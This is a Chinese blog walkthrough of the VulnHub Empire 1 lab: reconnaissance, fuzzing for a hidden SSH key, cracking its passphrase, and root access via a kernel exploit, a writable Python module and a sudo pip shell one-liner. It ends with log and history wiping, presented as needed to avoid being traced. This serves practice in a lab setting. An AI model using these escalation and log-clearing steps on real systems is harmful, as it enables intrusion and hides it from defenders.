vulnhub靶场之empire靶场1

 

empire靶场一

第一次使用vulnhub靶场的话,只要计算机上安装了虚拟化产品,都可以导入成功,然后直接开机即可

  1. 靶机:empire-1

  2. 攻击主机:kali

靶场地址发现

这里两种方法,一种是直接在虚拟机上查看,另一种可以使用arp-scan扫描,当然这里在同一网卡是可以的,如果不在同一网卡,是扫描不到的,比如一个桥接,一个nat

 

信息收集

使用nmap对目标进行简单的扫描

 nmap -sV -O -sC 192.168.1.28

可以看到目标开启两个端口

22端口是ssh服务,采用openssh 8.4p1 协议2.0

80端口是http服务,采用中间件apache /2.4.48版本

并发现一个网站目录robots.txt文件

目标系统为linux 2.4.x版本

 

 

网站发现

访问80端口查看,发现只有一个图片显示

查看页面源代码

发现有一个目录,并且就是当前路径下的/image目录。尝试访问

点击后发现暂时没有任何用处,那么访问之前扫描到的robots.txt

看到这里不允许爬取的目录,那么访问看看

给了404,但是这里并不是apache默认的404页面,应该是自己修改的,下面这才是默认的404

 

那么没有域名的情况下,这里至少确认了网站是目录型网站,可以进行目录扫描

 

工具很多,可以使用kali默认安装的msf中的扫描模块 dirb dirbuster等或者使用gobuster(推荐)

 

访问后发现一个存放图片,一个是apache的手册,另一个javascript,访问到jquery,知道其版本

 

使用searchsploit搜索有无该版本漏洞,发现没有

 

 

难道80端口就到此为止了,不能,既然没有已知的漏洞,想其他方法,突然想到robots.txt文件中的提示/~myfiles这个目录,既然有这种~文件的形式,是否其他文件也可能这样,进行爆破

这里推荐使用ffuf工具,因为这个可以在指定的地方使用关键字FUZZ就可以指定使用字典爆破该处

这样方便爆破

 ffuf -c -w 字典 -u http://192.168.1.28/~FUZZ
 -c指颜色显示
 -w指定字典
 -u指定路径
 FUZZ指定爆破的位置

 

 

 

访问/~secret,提示说,"你找到了密码目录,他创建并分享给你的一个SSH密钥文件,被隐藏在这的一些地方。使用fasttrack字典是不能破解到的"

那么现在分析说的,隐藏在这里的某处,代表隐藏在这个目录下的,前面检测系统是linux,在linux中,隐藏文件是以.开头的,那么使用ffuf测试

 ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://192.168.1.28/~secret/.FUZZ

 

可以看到出现一堆403,都无权访问,改进语句,过滤掉403

 ffuf -c -w 字典 -u http://192.168.1.28/~secret/.FUZZ -fc 403
 -fc指定过滤的状态码

发现没有东西,但是不可能,因为他提示了,尝试换个字典,如果所有字典都没有,说明可能是错误了,或者说明这个隐藏的文件是有扩展名的,因为这里的爆破只是加上字典中的字段

比如字典中有de字符,在使用ffuf时,会在FUZZ处替换成de,构成完整的就是http://192.168.1.28/~secret/.de,所以在进行测试的时候,可以测两遍,就可以使用ffuf-e参数,在后面加上扩展的

 ffuf -c -w 字典 -u http://192.168.1.28/~secret/.FUZZ -e .txt,html -fc 403
 -e参数扩展,这里可以用于文件格式的使用,比如字典中de
 http://192.168.1.28/~secret/.de.txt
 就会变成这样,或者.de.html  
 当然还有其他的格式形式,一般txt文件偏多,或者xml等

还是没有,换字典,在/usr/share/wordlists中的字典很多

 ffuf -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.1.28/~secret/.FUZZ -e .txt,html -fc 403 

 

发现文件了,下载下来

 

密码破解

查看文件内容,发现这并非私钥文件的形式,可能加密或者编码了,访问网址https://www.dcode.fr/cipher-identifier进行分析

 

看到可能型最大的是base58编码,点击网页中的base58跳转到解码区域

 

这次的形式对了,这就是私钥的文件形式

 

复制解码后的内容,并放入文件si.pem中,当直接使用ssh协议访问的时候,提示需要提供key,说明在生成公私钥时,输入了key密码,所以就需要获取到这个key

这种方法行不通,那就尝试用户名,密码的形式登录,首先需要破解这个私钥文件的内容。

使用ssh2john工具,把内容转换为john可识别的形式,然后使用john进行爆破hash

 ssh2john si.pem > hash
 会在当前目录下生成一个hash文件,可以被john识别的形式
 
 john hash --wordlist=/usr/share/wordlists/fasttrack.txt
 使用小字典进行测试,如果不行再更换字典

 

使用ssh连接靶机

使用ssh登录,因为知道一个名字,但不知道是否是ssh账户,所以使用账户icex64进行登录测试

 

登录成功,可以输入id命令查看当前用户权限或者查看/etc/passwd/etc/shadow文件测试权限

 

提权

权限不够,需要提权,尝试寻找具有特殊权限的命令

 find / -perm -u=s -type f 2>/dev/null
 当设置了用户 ID 位(u=s)时,对于可执行文件,意味着无论谁执行这个文件,都会以该文件所有者的权限来运行。

 

 

可以看到有sudo命令和su命令,进行测试

su尝试ssh的那个密码进行尝试,发现不行,再测试sudo

发现直接sudo -i也是需要密码,但是密码文件/etc/shadow也无权查看

 

使用漏洞提权

前面收集了linux的系统版本,查查有无可用漏洞

漏洞提权1

在kali中使用searchsploit发现一个漏洞,并且版本是在范围内的

下载到本地

然后在当前目录下开启一个python简易的HTTP服务

 

在目标机上下载文件

 

因为是c语言的POC,所以需要编译

gcc 50808.c -o exp

执行该POC有两种方式

第一种,首先需要一个可以使用特权处理的命令,在前面使用sudo -l列出了一些,这里采用/usr/bin/chfn

运行后,会发现提权成功

并且还提示我们别忘记删除/tmp/sh文件,这是为了清除痕迹

尝试使用python获取交互式终端

查看/root下的文件,告诉我们靶机1结束,在下一台靶机见

 

 

 

漏洞提权2

第二种方式是从github下载POC,但是该POC与前面不一样,这里是通过覆写密码进行提权

sudo git clone https://github.com/imfiver/CVE-2022-0847

但是这里没有git命令,所以该方法除非自己下载好,然后再通过自己的服务器去传递

这里现在kali中下载好脚本

32

 

执行脚本,获取到root权限

 

 

sudo提权

使用sudo -l时,发现有一个文件具有特权的

 

进入到目录,查看,有两个文件,一个python文件,一个note.txt,查看note.txt

 

总的来说就是,只有当前用户有权限访问这个python编程文件,查看python文件

内容就这么多,也没什么,主要调用一个包,去找这个包,看有无可用的点

 

好嘛,内容太多,不能代码审计吧,不够发现亮点,导入了OS包,这个包是可以执行linux系统中的命令的

查看文件权限,是否可写入,好家伙,777

 

在文件中写入命令,看能否提权到arsene账户,可能他的权限很高呢

os.system("/bin/bash")

 

使用sudo -u指定以arsene用户来执行后面的语句,因为这样执行语句是有sudo特权的,因为上面执行调用bash的命令,所以导致直接以arsene的身份开启一个bash

使用id查看后,权限不高,算是水平提权了吧

查找看有无都可使用的命令,发现有sudo后,使用命令sudo -l后,发现有/usr/bin/pip

 

ok,那就可以使用sudo pip提权

TF=$(mktemp -d) 
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF

在终端上使用上面命令,提权成功

 

清除痕迹

清除痕迹的时候,可以先查看日志文件

日志文件大都在/var/log

筛选与自己连接靶机的自己ip,然后从日志文件删除

sed -i '/ip/d' 日志文件

还是要root登录时进行清理,然后浏览器退出

首先因为访问了web页面,是apache的,并且访问了隐藏文件,所以还是要删除的

find / -name 'access*'

删除apache的访问日志信息

该日志文件是access.log

查看有无kali连接的地址信息,使用sed删除有关kaili地址的信息

删除apache的错误日志信息

该文件是error.log

删除验证登录信息

该文件为auth.log,我这里因为之前爆破过,所以信息太多太杂,我直接把它重定向为空。实际中可能要观察文件内容,删除对应的。

echo  > auth.log

删除登录失败信息

该文件为btmp,因为是二进制文件,所以使用last -f命令打开查看

也是因为爆破的原因,所以直接输出为空

echo > btmp

删除最后一次登录信息

该文件为lastlog,直接输出为空即可

echo > lastlog

删除记录所有用户登录、注销信息

该文件为wtmp,查看后发现我是第一个,所以直接输出为空

echo > wtmp

删除记录已登录的用户信息

该文件为utmp,这里没有这个日志,倒也省事

删除与安全相关的日志信息

该文件为secure,这里也没有

删除系统启动后的信息和错误日志

该文件为message,输出为空

echo > message

删除历史命令

这里因为切换了用户,所以最好都删除

histroy -r          #删除当前会话历史记录
history -c #删除内存中的所有命令历史
rm .bash_history #删除历史文件中的内容
HISTZISE=0 #通过设置历史命令条数来清除所有历史记录

 

总结

信息收集

首先,就是对于信息收集时对于目录的爆破,有可能的地方都要去测试,比如这里给出的/~myfiles,难道就只有这一个吗,他都给出还有这种目录的时候,就应该去主动测试,是否还有其他文件是以~开头的。

 

其次,对于字典的使用,要灵活

 

然后,这里在进行爆破的时候,使用了gobusterffuf工具,当然这里其实使用burp工具也是可以的,不过前面两个工具是go语言写的,速度很快,还是建议使用前两个工具。顺便总结以下ffuf工具的使用

-c	结果用颜色显示,可明显的区别不同
-w 指定字典
-u 需要爆破的地址,主要这里需要爆破的目录要使用FUZZ关键字进行标记
然后字典就会把每个值在FUZZ处测试
-fc 过滤某状态码
-e 用于在每一行爆破字典的基础上,在每一行字典后加上后缀名
如: -e .txt,html
就会在每一行使用字典后加上 .txt或.html进行爆破测试

 

解密解码的问题,当不能一眼识别出的时候,可以借助网址或工具进行分析

密码破解

对于SSH的公私钥生成时的问题:

生成公共/私有 rsa 密钥对。(Generating public/private rsa key pair.),一般使用 ssh-keygen -t rsa 命令,这个时候,会有下面的提示

Enter passphrase (empty for no passphrase):

输入通行码(密码、口令短语),如果不输入,那么就是不使用密码。如果输入了密码,这个有什么用呢?

这个主要是安全方面的考虑,如果你私钥泄露了,还有一个保护机制。在你每次使用 ssh 做敏感操作时,就会提示你输入密码

 

所以这里就是使用john破解这个密码,join破解的种类很多,可以再深入了解

 

提权

提权方面因为涉及到两种方式,所以还是总结以下

内核提权

searchsploit的使用,它使用exploit-db中的漏洞,常用命令

searchsploit -u		//从exploit-dn中获取更新本地漏洞库
searchsploit linux 5.8.10 //在本地漏洞库搜索linux的漏洞
searchsploit -t linux 5.8.10 //仅在本地漏洞库搜索标题有Linux的漏洞
searchsploit linux 5.8.10 -w //联网搜索exploit-db中的漏洞,并给出链接

首先了解该漏洞的使用,一种是需要可以都执行的命令来帮助提权,先用gcc命令编译c文件

一种是使用python脚本覆盖改写密码的操作,获取权限,只要可以使用bash即可

当然上面都需要有执行权限,该靶场并没有限制,所以无需移动到/tmp目录下运行

 

sudo提权

首先是find命令查询都可以用的命令,发现sudo

find / -perm -u=s -type f 2>/dev/null

当然find也是有提权方法的,只不过这里并不是SUID权限,所以有限制

sudo提权,是根据sudo -l列出的哪些执行是可以利用sudo的,这里就是先在原始用户上查找,发现有个python文件可以,查看该文件,然后该文件导入了一个python包,而该包中调用os,并且该文件对于其用户是777权限,所以可以修改内容,在其中添加调用bash的代码

水平提权后,在使用find查找都可使用的命令时,再次看到sudo再列出哪些文件可利用sudo,发现了pip,这个时候就可以想到众多sudo提权中的sudo pip提权,复制命令,因为真的太长了。回车即可提权

当然sudo提权还有很多方式的,如sudo cat 、 sudo vi/vim等等,可以网上查查

 

清除痕迹

最后就是清除痕迹,这个很有必要,不然会溯源的,虽然现在的日志服务器都是单独的,并且会有备份日志服务器,不过这是对于大公司而言。所以清除痕迹很有必要

/var/run/utmp 记录现在登入的用户
/var/log/wtmp 记录用户所有的登入和登出
/var/log/lastlog 记录每一个用户最后登入时间
/var/log/btmp 记录错误的登入尝试
/var/log/auth.log 需要身份确认的操作
/var/log/secure 记录安全相关的日志信息
/var/log/maillog 记录邮件相关的日志信息
/var/log/message 记录系统启动后的信息和错误日志
/var/log/cron 记录定时任务相关的日志信息
/var/log/spooler 记录UUCP和news设备相关的日志信息
/var/log/boot.log 记录守护进程启动和停止相关的日志消息
 
posted @ 2024-11-25 03:03  whitehe  阅读(22)  评论(0)    收藏  举报  来源